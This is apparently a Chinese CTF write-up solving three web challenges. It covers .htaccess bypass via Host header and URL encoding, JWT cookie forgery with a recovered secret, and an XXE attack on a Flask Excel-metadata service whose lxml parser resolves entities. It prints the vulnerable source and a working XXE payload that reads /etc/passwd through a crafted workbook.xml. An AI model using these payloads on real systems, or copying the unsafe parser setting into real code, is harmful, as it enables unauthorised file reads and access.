Web
helicoptering
对.htaccess
的绕过
one:
RewriteEngine On
RewriteCond %{HTTP_HOST} !^localhost$
RewriteRule ".*" "-" [F]
如果HTTP_HOST匹配不到localhost就会重定向
two
RewriteEngine On
RewriteCond %{THE_REQUEST} flag
RewriteRule ".*" "-" [F]
如果请求了flag就会重定向,直接用url编码绕过
Treasure Hunt
有个cookie,很明显是JWT
sub的值为123,尝试修改成1,密钥没爆破出来,看exp发现是onepiece
,整的像个misc
dyslexxec
源码
app.py
from flask import Flask, render_template, request, send_file
from werkzeug.utils import secure_filename
from getExcelMetadata import getMetadata, extractWorkbook, findInternalFilepath, WORKBOOK
import shutil
import os
import uuid
app = Flask(__name__)
app.config['MAX_CONTENT_LENGTH'] = 32 * 1024
@app.errorhandler(413)
def filesize_error(e):
return render_template("error_filesize.html")
@app.route("/")
def index():
return render_template("index.html")
@app.route("/downloads/fizzbuzz")
def return_fizzbuzz():
return send_file("./fizzbuzz.xlsm")
@app.route("/upload/testPandasImplementation")
def upload_file():
return render_template("upload.html")
@app.route("/metadata", methods = ['GET', 'POST'])
def view_metadata():
if request.method == "GET":
return render_template("error_upload.html")
if request.method == "POST":
f = request.files["file"]
tmpFolder = "./uploads/" + str(uuid.uuid4())
os.mkdir(tmpFolder)
filename = tmpFolder + "/" + secure_filename(f.filename)
f.save(filename)
try:
properties = getMetadata(filename)
extractWorkbook(filename, tmpFolder)
workbook = tmpFolder + "/" + WORKBOOK
properties.append(findInternalFilepath(workbook))
except Exception:
return render_template("error_upload.html")
finally:
shutil.rmtree(tmpFolder)
return render_template("metadata.html", items=properties)
if __name__ == "__main__":
app.run(host="0.0.0.0")
# 很明显存在一个上传功能,以及一个解析xml属性的功能
getExcelMetadata.py
import sys
import uuid
import os
import shutil
from lxml import etree
from openpyxl import load_workbook
from zipfile import ZipFile
WORKBOOK = "xl/workbook.xml"
def getMetadata(filename):
properties = []
try:
wb = load_workbook(filename)
for e in wb.properties.__elements__:
properties.append(
{
"Fieldname" : e,
"Attribute" : None,
"Value" : getattr(wb.properties, e)
}
)
for s in wb.sheetnames:
properties.append(
{
"Fieldname" : "sheet",
"Attribute" : s,
"Value" : None
}
)
except Exception:
print("error loading workbook")
return None
return properties
def extractWorkbook(filename, outfile="xml"):
with ZipFile(filename, "r") as zip:
zip.extract(WORKBOOK, outfile)
def findInternalFilepath(filename):
try:
prop = None
parser = etree.XMLParser(load_dtd=True, resolve_entities=True)
tree = etree.parse(filename, parser=parser)
root = tree.getroot()
internalNode = root.find(".//{http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac}absPath")
if internalNode != None:
prop = {
"Fieldname":"absPath",
"Attribute":internalNode.attrib["url"],
"Value":internalNode.text
}
return prop
except Exception:
print("couldnt extract absPath")
return None
if __name__ == "__main__":
if len(sys.argv) == 2:
filename = sys.argv[1]
else:
print("Usage:", sys.argv[0], "<filename>")
exit(1)
tmpFolder = "./uploads/" + str(uuid.uuid4())
os.mkdir(tmpFolder)
properties = getMetadata(filename)
extractWorkbook(filename, tmpFolder)
workbook = tmpFolder + "/" + WORKBOOK
properties.append(findInternalFilepath(workbook))
for p in properties:
print(p)
print("Removing tmp folder:", workbook)
shutil.rmtree(tmpFolder)
这里resolve_entities的值为True,显然是XXE
上传一个他给的xlsm文件,看一下回显,这里使用absPath,然后引用/etc/passwd
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"
xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"
xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006"
mc:Ignorable="x15 xr xr6 xr10 xr2"
xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main"
xmlns:xr="http://schemas.microsoft.com/office/spreadsheetml/2014/revision"
xmlns:xr6="http://schemas.microsoft.com/office/spreadsheetml/2016/revision6"
xmlns:xr10="http://schemas.microsoft.com/office/spreadsheetml/2016/revision10"
xmlns:xr2="http://schemas.microsoft.com/office/spreadsheetml/2015/revision2">
<fileVersion appName="xl"
lastEdited="7"
lowestEdited="7"
rupBuild="10814"
codeName="{A63ED3A1-9429-3D75-F2AA-CA7E51A8F3A1}" />
<workbookPr codeName="ThisWorkbook"
defaultThemeVersion="166925" />
<mc:AlternateContent xmlns:mc="http://schemas.openxmlformats.org/markup-compatibility/2006">
<mc:Choice Requires="x15">
// 这里
<x15ac:absPath url="/Users/Shared/"
xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac" />
</mc:Choice>
</mc:AlternateContent>
<xr:revisionPtr revIDLastSave="0"
documentId="13_ncr:1_{95F45955-E511-4E41-96AB-FF8592E5DEB2}"
xr6:coauthVersionLast="47"
xr6:coauthVersionMax="47"
xr10:uidLastSave="{00000000-0000-0000-0000-000000000000}" />
<bookViews>
<workbookView xWindow="39000"
yWindow="1940"
windowWidth="27640"
windowHeight="16940"
xr2:uid="{C53EB852-BDE6-E341-96D7-DA42F6AF0349}" />
</bookViews>
<sheets>
<sheet name="fizzbuzz"
sheetId="1"
r:id="rId1" />
</sheets>
<calcPr calcId="191029" />
<extLst>
<ext uri="{140A7094-0E35-4892-8432-C4D2E57EDEB5}"
xmlns:x15="http://schemas.microsoft.com/office/spreadsheetml/2010/11/main">
<x15:workbookPr chartTrackingRefBase="1" />
</ext>
<ext uri="{B58B0392-4F1F-4190-BB64-5DF3571DCE5F}"
xmlns:xcalcf="http://schemas.microsoft.com/office/spreadsheetml/2018/calcfeatures">
<xcalcf:calcFeatures>
<xcalcf:feature name="microsoft.com:RD" />
<xcalcf:feature name="microsoft.com:Single" />
<xcalcf:feature name="microsoft.com:FV" />
<xcalcf:feature name="microsoft.com:CNMTM" />
<xcalcf:feature name="microsoft.com:LET_WF" />
<xcalcf:feature name="microsoft.com:LAMBDA_WF" />
</xcalcf:calcFeatures>
</ext>
</extLst>
</workbook>
这里应该把回显放在text,也就是value这里,因为Attribute存放的是url
<!DOCTYPE pysnow[<!ENTITY pysnow SYSTEM "file:///etc/passwd"> ]>
<mc:Choice Requires="x15">
<x15ac:absPath url="/Users/Shared/"
xmlns:x15ac="http://schemas.microsoft.com/office/spreadsheetml/2010/11/ac">&pysnow;</x15ac:absPath>
</mc:Choice>
最后拿到flag